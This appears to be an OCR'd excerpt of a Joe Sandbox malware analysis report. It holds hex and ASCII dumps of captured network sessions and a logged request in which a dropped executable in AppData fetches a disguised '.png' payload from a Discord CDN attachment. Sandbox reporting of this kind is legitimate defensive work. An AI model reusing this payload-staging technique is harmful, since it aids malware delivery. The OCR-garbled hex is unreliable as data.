0Oa 38 ff ff ff 9f 39 0a 00 02 6d 28 14 9a 04 Oe 50 05 ff ff ff d1 38 ff ff ff 36 39 0Oa 00 00 9b 28 04 0a 00 02 Ob 6f 06 00 19 ff
28 04 00 Oa c4 7e 9a 02 11 03 ff ff ff €7 38 00 00 00 28 3a 50 05 00 00 00 44 38 51 01 00 00 2e 8d 1e 05 00 00 00 19 38
ff ff ff 5b 38 ff ff ff 77 38 a2 02 04 Oe 50 05 7a 06 00 05 ce 73 0Oa 00 01 70 28 Oa 00 02 Ob 6f 01 11 06 00 13 87 28 04 00
09 26 7e 61 04 00 07 e6 7b 04 00 08 2¢

Data Ascii: Z&0&IE8[N=(+J]0*_hwg(+:*808889m(P869(0o(~8(:PD8Q.8[8w8Pzsp(o(&~a{,

Data Raw: 00 Oc bf 28 01 00 00 cf 20 00 00 00 19 38 06 00 Of d3 28 04 00 08 39 7e 2a 00 00 00 01 38 66 57 60 f2 28 05
2b 00 00 00 00 00 00 00 44 00 02 30 03 00 00 ff ff ff 40 38 06 00 16 7f 28 04 00 09 e4 7e 16 03 ff ff ff 27 38 06 00 16 f7 28
04 00 0a 02 7e 0a 00 02 4d 28 06 00 13 87 28 04 00 09 26 7e 61 04 00 07 €6 7b 04 00 08 2c 7e 61 6d e2 1c 55 20 65 88
a8 f3 eb 20 06 00 09 4d 28 06 00 Oc bf 28 01 00 00 07 20 03 ff ff ff 48 38 06 00 18 cf 28 04 00 Oa 78 7e a2 06 00 16 77 28
04 00 09 e2 7e 0a 00 00 23 28 06 00 Oc bf 28 01 00 00 fa 20 03 17 25 a2 06 00 16 77 28 04 00 09 e2 7e Oa 00 00 23 28
06 00 Oc bf 28 01 00 00 07 20 03 16 25 01 00 00 2f 8d 18 06 00 16 77 28 04 00 09 e2 7e 0a 00 00 23 28 06 00 09 4e 28
01 00 00 cf 20 03 03 ff f ff 74 38 06 00 17 53 28 04 00

Data Ascii: ( 8(9~*8fW (+DO@8(~'8(~M((&~a{,~amU e M(( H8(x~W(~#(( Yow(~#(( %/w(~#(N( t8S(

Data Raw: 7e 0a 00 01 9d 7e 03 00 00 07 ec 38 04 13 06 00 19 7b 28 04 00 Oa a3 7e 03 11 02 00 00 07 09 38 00 00 02
02 39 01 00 00 d2 75 9a 08 11 04 00 06 26 7b 02 00 00 07 df 38 00 00 07 cf 00 00 00 c2 00 00 08 86 00 00 07 ae 00 00
07 ae 00 00 07 7e 00 00 07 7e 00 00 07 7e 00 00 07 7e 00 00 07 7e 00 00 07 7e 00 00 08 54 00 00 07 7e 00 00 00 0d 45
59 19 06 11 00 00 00 83 38 00 00 09 09 00 00 02 5¢ 00 00 08 11 00 00 00 05 00 00 01 80 00 00 00 88 00 00 00 06 45 00
15 Oc fe 00 00 08 6a 38 03 13 16 00 00 00 00 00 38 01 13 02 00 01 7d 8d 69 8e 04 00 06 26 7b 02 00 00 00 0a Oe 38 6d
7¢ 42 25 28 05 2b 11 00 01 28 00 00 0a 39 00 06 30 1b 00 00 7a 0a 00 00 15 73 55 5e €8 Of 28 05 2b 36 00 00 00 00 00
00 00 19 00 00 01 4d 00 00 01 26 00 00 00 27 00 00 00 02 00 00 1c 41 00 ff

Data Ascii: ~~8{(~89U&{8~~~~~~ T~EY8\Ej88}i&{8m|BY%(+(90zsUN(+6ME&A

Data Raw: a7 38 04 00 06 00 7d Oa 00 02 4e 6f a2 00 11 16 25 01 00 00 2f 8d 17 06 00 16 13 28 04 00 09 c9 7e 0a 00 00
2328 06 00 Oc bf 28 01 00 00 ca 20 03 02 00 00 00 00 38 ff ff ff €2 39 06 00 16 6f 28 04 00 09 0 7e 00 11 00 00 00 4b
3804 00 06 00 7d 00 11 02 2a 00 00 00 5a 38 00 00 00 85 3a 06 00 17 4b 28 04 00 Oa 17 7e 04 00 00 00 00 38 06 00 08
6a 28 04 02 00 00 00 00 38 06 00 Of d7 28 04 00 08 3a 7e 53 3f 7c 88 28 05 2b 11 00 00 f6 00 00 00 c9 00 07 30 13 00 2a
06 00 Oc bf 28 00 00 09 fe 00 49 17 5e de 28 05 2b 4a 00 00 2a 04 00 05 ff 7e 2f 45 6d 2d 28 05 2b 36 00 00 00 2a 01 fe
14 04 00 05 ff 7e 5b 60 a8 3b 28 05 2b 42 00 2a 06 00 Of d3 28 04 00 08 39 7e 63 08 31 ab 28 05 2b 4a 00 00 ff ff ff 79 38
06 00 16 87 28 04 00 09 €6 7e 0a 00 00 3a 6f 06 00 13 87

Data Ascii: 8}No%/(~#(( 890(~K8}*Z8:K (~8j(8(:~S?|(+0*(IN(+J*~/Em-(+6*~[";(+B*(9~c1(+Jy8(~:0

Data Raw: 11 d3 20 06 00 13 87 28 04 00 09 26 7e 61 04 00 07 c9 7b 04 00 08 2c 7e 61 84 48 d8 e4 20 bc c3 07 cd 20
00 00 01 81 38 00 00 01 49 39 02 11 00 00 01 50 38 04 00 05 7 7d d2 60 18 04 00 05 e7 7b 02 02 00 00 01 d3 38 04 00
05 e7 7d d2 60 17 04 00 05 €7 7b 02 02 00 00 00 b4 38 00 00 02 2a 39 06 00 18 7b 28 04 00 0a 63 7e 02 ff ff ff cc 38 00
00 00 f3 39 08 Oe 00 00 01 4a 38 04 00 05 e7 7d d2 60 1a 04 00 05 e7 7b 02 02 00 00 01 Oe 38 04 00 05 e7 7d d2 60 le
04 00 05 e7 7b 02 02 ff ff ff c5 38 04 00 05 eb 7d 05 Oe 02 00 00 01 e4 38 00 00 01 bd 3b 15 07 Oe ff ff ff 83 38 04 00 05
e7 7d d2 60 10 1f 04 00 05 7 7b 02 02 00 00 00 43 38 00 00 01 a6 39 06 Oe ff ff ff 8e 38 00 00 00 00 20 26 ff ff ff 99 39
04 00 08 Of 7b 04 00 08 2¢ 7e 00 00 00 01 20 00 00 00 d7 3a

Data Ascii: (&~af,~aH 8I9P8}{8}{8*9{(c~89J8} {8} {8}8;8}'{C898 &9{,~ :
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kBytes

Timestamp transferred Direction
2022-05-02 11:03:03 UTC 2299 IN
2022-05-02 11:03:03 UTC 2315 IN
2022-05-02 11:03:03 UTC 2331 IN
2022-05-02 11:03:03 UTC 2347 IN
2022-05-02 11:03:03 UTC 2363 IN
2022-05-02 11:03:03 UTC 2379 IN
2022-05-02 11:03:03 UTC 2395 IN
2022-05-02 11:03:03 UTC 2411 IN
2022-05-02 11:03:03 UTC 2427 IN
2022-05-02 11:03:03 UTC 2443 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 02 4e 7f ca a8 28 05 2b 62 00 2a 06 00 Oc bf 28 00 00 09 fe 00 34 3f 76 69 28 05 2b 4a 00 00 2a 04 00 05 c9
7e 2e 57 87 1f 28 05 2b 36 00 00 00 2a 01 fe 14 04 00 05 c9 7e 5b 13 04 33 28 05 2b 42 ff ff ff c8 38 06 00 Of d3 28 04 00
08 39 7e 2a 00 00 00 00 38 04 00 05 c8 80 0a 00 00 23 28 06 00 Oc bf 28 01 00 00 c1 20 00 00 00 00 38 06 00 Of d7 28
04 00 08 3a 7e 00 00 00 29 38 68 7f f1 ef 28 05 2b 00 00 00 00 00 00 00 44 00 02 30 03 00 2a 00 00 00 00 38 06 00 17 7f
2804 00 0a 24 7e 06 00 17 8b 28 04 00 Oa 27 7e 02 06 00 13 87 28 04 00 09 26 7e 61 04 00 08 1f 7b 04 00 08 2¢c 7e 61
57 f5 7b df 20 59 68 ca 99 a4 20 de 95 d3 d1 20 06 00 16 77 28 04 00 09 e2 7e 0a 00 00 23 28 06 00 Oc bf 28 02 00 00 ed
20 03 03 3b 60 65 34 28 05 2b 00 00 00 00 00 00 00 63 00 06

Data Ascii: N(+b*(4?vi(+J*~.W(+6*~[3(+B8(9~*8#(( 8(:~)8h(+D0*8($~('~(&~af,~aW{ Yh w(~#(( ; ed(+c

Data Raw: 2b 11 00 00 e0 00 00 01 80 00 04 30 13 00 00 2a 00 00 00 00 38 04 00 05 90 7d 16 03 7a 0a 00 01 2b 73 Oa
00 01 70 28 0a 00 02 Oa 28 00 Of 06 00 13 87 28 04 00 09 26 7e 61 04 00 07 6 7b 04 00 08 2c 7e 61 5f a3 e6 74 20 45
16 fa 74 20 0Oa 00 02 Oa 28 04 00 05 90 7c 03 06 00 13 87 28 04 00 09 26 7e 61 04 00 08 09 7b 04 00 08 2c 7e 61 f9 9f ba
33 20 ee 42 84 60 20 00 00 00 00 38 00 00 00 62 3b 04 00 05 90 7b 03 02 64 49 8d 54 28 05 2b 00 00 00 00 00 00 00 82
00 05 30 03 00 00 ff ff ff c3 38 ff ff ff ee 3d 16 02 ff ff ff 96 38 ff ff ff c7 3a 03 7a 0a 00 01 d3 73 06 00 13 87 28 04 00 09 26
7e 61 04 00 08 19 7b 04 00 08 2c 7e 61 e4 01 09 a6 20 93 fc 3c 03 20 2a 00 00 00 00 38 04 00 05 90 7d 02 03 7a Oa 00
01 8c 73 06 00 13 87 28 04 00 09 26 7e 61 04 00 07 fd 7b

Data Ascii: +0*8}z+sp(((&~af,~a_t Et (|(&~a{,~a3 B" 8b;{dIT(+08=8:zs(&~a{,~a < *8}zs(&~a{

Data Raw: 00 2d 38 00 00 00 43 3a 0a 00 02 0Of 28 02 11 ff ff ff 6 38 00 13 04 00 05 77 7b 02 ff ff ff 6 38 ff ff ff d9 3b 17
00 11 00 00 00 46 38 00 00 00 71 40 1b 00 11 00 00 00 38 38 02 13 06 00 15 47 28 04 00 09 96 7e 02 2a 4e €0 01 12 00
00 00 31 38 60 6f e7 36 28 05 2b 11 00 00 dO 00 00 00 a8 00 04 30 13 ff ff fe 5¢c 38 02 13 04 00 05 77 7b 02 ff ff fe 55 38
06 00 14 d7 28 04 00 09 7a 7e 17 1e 02 ff ff fe 5d 38 ff ff fe 98 3b 1b 02 11 7a 06 00 14 ef 28 04 00 09 80 7e 02 2a 60 62
38 1f 6e 91 01 11 04 00 05 72 7d 58 17 01 11 01 13 04 00 05 72 7b 02 02 04 00 05 6e 7b 02 60 62 30 1f 6e 91 01 11 04

0005 72 7d 58 17 01 11 01 13 04 00 05 72 7b 02 02 04 00 05 6e 7b 02 60 62 28 1f 6e 91 01 11 04 00 05 72 7d 58 17 01
1101 13 04 00 05 72 7b 02 02 04 00 05 6e 7b 02 60

Data Ascii: -8C:(8w{8;F8q@88G(~*N18 06(+0\8w{U8(z~]8;z(~*"b8nr}Xr{n{ bOnr}Xr{n{’b(nrXr{n{’

Data Raw: 86 38 58 2f 33 82 28 05 2b 11 00 00 b6 00 00 00 d3 00 03 30 13 00 2a Oa 00 01 df 6f 02 49 1a 43 6f 28 05 2b
3a 00 2a 0a 00 01 de 6f 02 5e 7f 70 63 28 05 2b 3a 00 2a 0a 00 01 dd 6f 02 6e 07 65 75 28 05 2b 3a 00 2a 0a 00 01 dc 6f
02 34 53 2e 60 28 05 2b 3a 00 2a 0a 00 01 db 28 02 3e 3e 08 d0 28 05 2b 3a 00 00 00 ff ff ff 5f 38 ff f ff 67 39 0a 00 01
a0 28 0a 00 00 23 28 06 00 Oc bf 28 01 00 00 86 20 02 2a 00 11 ff f ff 77 38 00 00 00 05 00 00 00 08 00 00 00 05 00 00
00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00
00 00 05 00 00 00 05 00 00 00 05 00 00 00 08 00 00 00 08 00 00 00 05 00 00 00 13 45 00 11 2a 17 2a 68 1f ff ff ff b2 38 ff
ff ff ba 39 0Oa 00 01 a0 28 0a 00 00 23 28 06 00 Oc bf

Data Ascii: 8X/3(+0*0lCo(+:*0”pc(+:*oneu(+:*04S." (+:*(>>(+:_8g9(#(( *WBE**h89(#(

Data Raw: 10 1f 07 11 d2 64 1e 07 11 d2 07 11 68 64 10 1f 08 11 68 08 11 05 11 ff ff ff 1a 38 08 13 6d 64 20 1f 00 11 2a
0a 00 01 9d 7e ff ff fe fO 38 ff ff ff 16 3b 18 02 11 ff ff ff bd 38 06 13 6d 64 20 1f 01 11 ff ff ff 9b 38 06 00 13 bb 28 04 00 09
33 7e 02 03 11 ff ff ff 26 38 ff ff ff 08 38 ff ff ff 0d 38 06 00 13 b3 28 04 00 09 31 7e 02 00 00 00 59 38 07 13 6d 01 11 00 O
0 00 9c 38 00 13 6a 16 ff ff ff 1e 38 00 00 00 00 20 26 ff ff ff 29 3a 04 00 08 27 7b 04 00 08 2c 7e 00 00 00 00 20 00 00 00
7e 3a 00 11 ff ff ff a2 38 00 13 06 00 13 db 28 04 00 09 3b 7e 02 ff ff ff 56 38 00 00 00 01 20 26 ff ff ff 61 3a 04 00 07 dd
7b 04 00 08 2c 7e 00 00 00 01 20 03 13 06 00 13 a7 28 04 00 09 2e 7e 02 00 00 00 bd 38 00 00 00 c8 3a 01 11 00 00 00
af 38 05 13 6d 00 11 ff ff

Data Ascii: dhdh8md *~8;8md 8(3~&888(1~Y8m8;j8 &):{,~ ~:8(;~V8 &a:{,~ (.~8:8m

Data Raw: 7a 00 00 2a 04 00 03 ca 7e 42 08 2f 0a 28 05 2b 36 00 00 00 2a 01 fe 14 04 00 03 ca 7e 38 70 50 68 28 05 2b
42 00 2a 06 00 Of d3 28 04 00 08 39 7e 64 7b {7 6b 28 05 2b 4a 00 ff ff ff f4 38 01 13 00 11 2a 01 11 00 00 00 03 38 06 00
03 €9 28 69 8 02 00 11 16 02 00 00 00 00 38 00 13 0a 00 00 17 28 69 8e 02 6e 62 40 d2 28 05 2b 11 00 00 39 00 00 00
3300 05 30 13 2a 02 11 ff f ff d1 38 01 13 01 fe 16 0a 00 00 c7 28 02 00 00 00 10 38 02 13 06 00 12 83 28 04 00 08 €5
7e 00 11 ff ff ff d2 38 ff ff ff ec 39 01 11 00 00 00 Oc 38 00 13 0a 00 01 6b 28 02 7a 0a 00 01 2b 73 06 00 10 Of 28 04 00
08 48 7e fd 36 7d 31 20 00 00 00 41 38 35 74 00 7f 28 05 2b 11 00 00 7e 00 00 00 60 00 03 30 13 00 2a 00 00 00 00 38
0a 00 00 11 28 02 00 00 00 00 38 06 00 Of d7 28 04 00 08

Data AsCii: z*~B/(+6*~8pPh(+B*(9~d{k(+J8*8(i8(inb@ (+930*8(8(~898k(z+5(H~6}1 A85t(+~"0*8(8(

Data Raw: 08 be 7e 61 06 00 11 db 28 04 00 08 bb 7e 06 00 11 e3 28 04 00 08 bd 7e 06 00 11 ef 28 04 00 08 cO 7e 06 00
11 ¢7 28 04 00 08 b6 7e 0a 00 00 23 28 06 00 Oc bf 28 02 00 00 88 20 06 00 11 c7 28 04 00 08 b6 7e 0a 00 00 23 28 06
00 Oc bf 28 02 00 00 8b 20 06 00 11 c7 28 04 00 08 b6 7e 0a 00 00 23 28 06 00 Oc bf 28 02 00 00 8d 20 06 00 11 ¢7 28
04 00 08 b6 7e 0a 00 00 23 28 06 00 Oc bf 28 02 00 00 8¢ 20 65 43 Ob ba 28 05 2b 00 00 00 00 00 00 00 95 00 07 30 03 0
0 2a 00 00 00 00 38 0a 00 00 11 28 02 00 00 00 00 38 06 00 Of d7 28 04 00 08 3a 7e 49 26 ff 26 28 05 2b 8a 00 2a 06 00
0c bf 28 00 00 09 fe 00 63 7f 89 37 28 05 2b 4a 00 00 2a 04 00 03 ab 7e 50 08 ac 00 28 05 2b 36 00 00 00 2a 01 fe 14 04
00 03 ab 7e 63 3b 55 d0 28 05 2b 42 00 2a 06 00 Of d3 28 04 00 08

Data Ascil: ~a(~(~(~(~#(( (~#(( (~#(( (~#(( eC(+0*8(8(~I&&(+*(C7(+J*~P(+6*~c;U(+B*(

Data Raw: fd 38 dc 00 00 00 00 38 Oa 00 00 77 28 26 11 00 00 00 00 38 00 00 00 11 39 38 11 ff ff f8 1b dd ff ff fe 9b 38
07 13 5f 61 01 11 58 00 11 27 ac 65 4f 20 07 11 ff ff fc a8 38 04 13 Oa 00 00 98 73 14 11 ff ff f9 e9 38 ff ff fe 73 38 ff ff {9
ce 3803136159 01116100 11 5e 3c 65 1d 20 03 11 ff ff f8 a3 38 00 00 00 01 20 26 ff ff {8 ae 39 04 00 08 30 7b 04 00
08 2c 7e 00 00 00 04 20 04 00 03 64 80 58 01 11 58 00 11 d7 ad 11 0Oa 20 ff ff f8 d2 38 00 00 00 01 20 26 ff ff f8 dd 39 04
00 07 cf 7b 04 00 08 2c 7e 00 00 00 00 20 04 00 03 67 80 68 61 68 66 65 65 66 66 65 66 65 66 58 01 11 59 00 11 c8 bb
ec d120 06 00 11 6b 28 04 00 08 9f 7e 04 00 03 68 7e ff ff fc 64 38 ff ff fc d8 38 ff ff f9 bb 38 ff ff f4 ec dd ff ff f9 30 38 00
00 00 00 20 26 ff ff f9 3b 39

Data Ascii: 88w(&8988_aX'eO 8s8s88aYa’<e 8 &90{,~ dXX 8 &9{,~ ghahfeeffefefXY k(~h~d88808 &;9

Data Raw: 38 ff ff ff 95 3a 04 ff ff ff 9b 38 00 02 Ob fe 06 00 00 bf 28 02 ff ff ff b7 38 00 00 00 1f 39 03 00 00 00 25 38 ff ff ff
2f dd 00 00 00 00 38 26 ff ff f 3a dd 00 00 00 00 38 26 06 00 10 3 28 04 00 08 7d 7e 1a 14 01 11 00 00 00 00 38 26 06
00 10 3 28 04 00 08 7d 7e 1a 14 02 11 00 00 00 00 3e 38 0a 00 00 c8 28 04 02 11 00 00 00 65 38 00 00 00 75 3a 0a 00
00 7 28 02 11 00 ff ff ff 69 38 00 00 00 00 20 26 ff ff ff 74 3a 04 00 08 09 7b 04 00 08 2c 7e 00 00 00 00 20 06 00 00 ce
28 0a 00 00 c6 28 06 00 10 Of 28 04 00 08 48 7e fd 36 68 5a 20 02 11 03 12 00 00 00 3c 38 06 00 10 df 28 04 00 08 7c 7e
0312 00 00 00 11 38 02 13 06 00 00 c5 28 06 00 10 db 28 04 00 08 7b 7e 02 01 11 ff ff ff dd 38 00 00 01 9f 3a 04 00 02
fb 7b 02 2a 02 11 00 00 01 ad 38 00 00 01

Data Ascii: 8:8(89%8/88&:8&(}~8&(}~>8(e8u:(i8 &t:{,~ ((H~6hZ <8(|~8(({~8:(*8

Data Raw: fd 1f 02 ff ff ff 9b 38 00 00 00 00 20 26 ff ff ff a6 3a 04 00 08 01 7b 04 00 08 2¢ 7e 00 00 00 00 20 00 00 00 cO
39 5f19 02 11 00 00 01 33 38 04 00 00 17 7d 0a 00 00 13 6 04 00 00 06 7d 05 11 25 06 00 00 06 73 fe 1f 05 13 04 00 00
14 7b 02 02 00 00 01 b5 38 00 00 00 a6 00 00 01 d3 00 00 01 ba 00 00 00 03 45 00 04 Oc fe 00 00 01 9a 38 01 13 04 00
00 11 7b 02 00 65 31 eb 02 28 05 2b 11 00 00 06 00 00 02 47 00 05 30 1b 00 00 00 00 11 00 1f 05 00 1a 00 02 00 00 10
01 00 ff ff f c2 38 00 ff ff ff €5 38 00 13 04 00 00 11 7b 02 ff ff ff c8 38 00 00 00 12 3b fd 1f 00 11 2a 00 00 00 00 38 dc 00
00 00 00 38 06 00 10 03 28 04 00 08 45 7e 02 00 00 00 16 dd 00 00 00 00 38 38 00 00 00 21 40 17 00 11 00 00 00 38 38
5f 53 9d 64 28 05 2b 11 00 00 01 00 00 00 57 00 03

Data Ascii: 8 &{,~ 9_38}0}%s{8E8{e1(+G088{8;*88(E~88!@88_Sd(+W
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Session ID Source IP
2 192.168.2.4
. kBytes
Ti t
imestamp transferred

2022-05-02 11:03:15 UTC 2445

2022-05-02 11:03:15 UTC 2446

2022-05-02 11:03:15 UTC 2447

2022-05-02 11:03:15 UTC 2448

2022-05-02 11:03:15 UTC 2450

2022-05-02 11:03:15 UTC 2451

Copyright Joe Security LLC 2022

Source Port

49775

Direction

ouT

Destination

Destination IP Process

Port
162.159.130.233 443 C:\Users\user\AppData\Roaming\Oarkzlb\Puizg.exe
Data

GET /attachments/968108194327052308/970585558680223784/Nqdkg_Chadgewx.png HTTP/1.1
Host: cdn.discordapp.com
Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Mon, 02 May 2022 11:03:15 GMT

Content-Type: image/png

Content-Length: 1250816

Connection: close

CF-Ray: 705044f40e72912e-FRA

Accept-Ranges: bytes

Age: 9897

Cache-Control: public, max-age=31536000

ETag: "8b4e3118a9ad10f525d58287a5b3d59¢"

Expires: Tue, 02 May 2023 11:03:15 GMT

Last-Modified: Mon, 02 May 2022 07:20:29 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1651476029852442

x-goog-hash: crc32c=hwhX1A==

x-goog-hash: md5=i04xGKmtEPUI1YKHpbPVng==

X-g00g-metageneration: 1

X-goog-storage-class: STANDARD

X-goog-stored-content-encoding: identity

x-goog-stored-content-length: 1250816

X-GUploader-UploadID: ADPycdvlLx3JracfYsvVBAgmX4a-C82nsbcn_2UpORFgabos6mHUOzxh5QL4HNIUSOso
t6bjxrgVH3mfckuvec55iPKW0O0zK8RZR

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Report-To: {"endpoints":[{"url":"https:V\V/a.nel.cloudflare.comVireport\\v3?s=Q974GsHmpGKKb7QU40xpI8wG3bRXtybY
hT%2FwCk4QJyU7vIVERFINU5%2B68AX91HMoM5thPkBzKzXvY809RN%2FdDq1CkFZSIHHVDADtiKKF2A
7KUF30X38ZpOh%2BTLPRguMLq%2B8DIg%3D%3D"}],"group":"cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii:

Data Raw: 00 00 02 00 00 00 04 00 00 00 00 00 00 00 3f 1f dd 48 64 00 01 00 00 1f dd 48 64 00 01 00 00 00 01 00 00 fe

ef 04 bd 00 00 00 00 00 4f 00 46 00 4e 00 49 00 5f 00 4e 00 4f 00 49 00 53 00 52 00 45 00 56 00 5f 00 53 00 56 00 00 00
3403 42 00 00 00 00 00 00 00 00 00 00 03 42 00 13 40 58 00 00 00 48 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00
00 00 00 00 80 00 00 30 00 00 00 01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 18 00 00 00 10 00 01 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii: ?HAHdOFNI_NOISREV_SV4BB@XHO

Data Raw: 67 69 65 68 06 68 74 64 69 77 05 00 00 00 02 65 7a 69 53 2e 67 6e 69 77 61 72 44 2e 6d 65 74 73 79 53 13
00 00 00 01 05 61 33 61 30 35 64 31 31 66 37 66 35 66 33 30 62 3d 6e 65 6b 6f 54 79 65 4b 63 69 6¢ 62 75 50 20 2¢ 6¢
6172 74 75 65 6e 3d 65 72 75 74 6¢ 75 43 20 2c 30 2e 30 2e 30 2e 34 3d 6e 6f 69 73 72 65 56 20 2c 67 6e 69 77 61 72 4
4 2e 6d 65 74 73 79 53 51 00 00 00 02 Oc 00 00 00 00 00 00 00 01 ff ff ff ff 00 00 00 01 00 43 Ob 00 00 00 01 08 00 00 00
01 00 00 00 2d Of 00 00 00 26 09 00 00 00 01 00 00 00 2c 11 74 74 20 6d 6d 3a 68 07 00 00 00 55 06 6d 6d 3a 48 04 00
00 00 54 06 74 74 20 6d 6d 3a 68 68 08 00 00 00 53 06 00 00 00 27 09 00 00 00 04 00 00 00 2b 11 00 00 00 23 09 00 00
00 01 00 00 00 2a 11 64 64 2d 4d 4d 2d 79 79 79 79 Oa 00 00 00 50 06

Data Ascii: giehhtdiweziS.gniwarD.metsySa3a05d11f7f5f30b=nekoTyeKcilbuP ,lartuen=erutluC ,0.0.0.4=noisreV ,gni
warD.metsySQC-&,tt mm:hUmm:HTtt mm:hhS'+#*dd-MM-yyyyP

Data Raw: 74 61 6d 72 6f 66 Ob 79 6¢ 6e 4f 64 61 65 52 73 69 5f 6d Oc 73 72 61 64 6e 65 6¢ 61 43 6¢ 61 6e 6f 69 74 70 6f
11 73 65 6d 61 4e 61 72 45 68 73 69 6¢ 67 6 45 76 65 72 62 62 61 5f 6d 17 73 65 6d 61 4e 61 72 45 76 65 72 62 62 61
5f 6d 10 73 65 6d 61 4e 61 72 65 5f 6d O0a 73 6e 72 65 74 74 61 50 65 6d 69 54 67 6e 6f 4c 6¢ 6¢ 61 13 73 6€ 72 65 74 74
6150 65 6d 69 54 74 72 6f 68 53 6¢ 6¢ 61 14 73 6€ 72 65 74 74 61 50 65 74 61 44 67 6e 6f 4c 6¢ 6¢C 61 13 73 6€ 72 65 74
74 61 50 65 74 61 44 74 72 6f 68 53 6¢ 6¢ 61 14 73 6e 72 65 74 74 61 50 68 74 6e 6f 4d 72 61 65 59 6¢ 6¢ 61 14 6e 72
65 74 74 61 50 65 6d 69 54 74 72 6f 68 73 10 6e 72 65 74 74 61 50 65 6d 69 54 67 6e 6f 6¢ Of 6e 72 65 74 74 61 50 68

74 6e 6f 4d 72 61 65 79 10 6e 72 65 74 74 61 50 65 74 61 44 74

Data Ascii: tamrofylnOdaeRsi_msradnelaClanoitposemaNarEhsilgnEverbba_msemaNarEverbba_msemaNare_msnre
ttaPemiTgnoLllasnrettaPemiTtrohSllasnrettaPetaDgnoLllasnrettaPetaDtrohSllasnrettaPhtnoMraeYllanrettaPemiTtrohs
nrettaPemiTgnolnrettaPhtnoMraeynrettaPetaDt
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kBytes

Timestamp transferred Direction
2022-05-02 11:03:15 UTC 2452 IN
2022-05-02 11:03:15 UTC 2454 IN
2022-05-02 11:03:15 UTC 2455 IN
2022-05-02 11:03:15 UTC 2456 IN
2022-05-02 11:03:15 UTC 2458 IN
2022-05-02 11:03:15 UTC 2459 IN
2022-05-02 11:03:15 UTC 2460 IN
2022-05-02 11:03:15 UTC 2462 IN
2022-05-02 11:03:15 UTC 2463 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 61 12 6¢ 6f 62 6d 79 53 79 63 6e 65 72 72 75 63 Oe 72 6f 74 61 72 61 70 65 53 6¢ 61 6d 69 63 65 44 79 63 6e
6572727563 1872 6f 74617261 7065537075 6f7247 79 63 6e 65 72 72 75 63 16 72 6f 74 61 72 61 70 65 53 70
75 6f 72 47 72 65 62 6d 75 6e 14 72 6f 74 61 72 61 70 65 53 6¢ 61 6d 69 63 65 44 72 65 62 6d 75 6e 16 6e 67 69 53 65
76 69 74 61 67 65 6e Oc 6e 67 69 53 65 76 69 74 69 73 6f 70 Oc 73 65 7a 69 53 70 75 6f 72 47 74 6e 65 63 72 65 70 11 7
365 7a695370 75 6f7247 79 63 6e 65727275 63 12 73 65 7a 69 53 70 75 6f 72 47 72 65 62 6d 75 6e 10 00 00 00 22
6f 66 6e 49 74 61 6d 72 6f 46 72 65 62 6d 75 4e 2e 6e 6f 69 74 61 7a 69 6¢ 61 62 6f 6¢ 47 2e 6d 65 74 73 79 53 25 00 00
00 04 04 00 00 00 7f 00 00 00 00 00 00 00 00 07 09 00 00 00 07 09

Data Ascii: alobmySycnerrucrotarapeSlamiceDycnerrucrotarapeSpuorGycnerrucrotarapeSpuorGrebmunrotarap
eSlamiceDrebmunngiSevitagenngiSevitisopseziSpuorGtnecrepseziSpuorGycnerrucseziSpuorGrebmun“ofnltamro
FrebmuN.noitazilabolG.metsyS%

Data Raw: 02 02 02 02 02 02 02 01 00 01 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04
04 04 04 02 01 00 01 00 02 02 00 02 02 00 02 02 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 02 01 00 01
00 02 02 00 02 02 00 02 02 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 02 01 00 01 00 00 00 00 00 00 00
00 00 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 02 01 00 01 02 02 02 02 02 02 02 02 02 02 02 02 02 02
02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 01 00 01 02 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
0101 01 01 01 01 01 02 01 00 01 02 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 01
02 01 00 01 02 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03

Data Ascii:

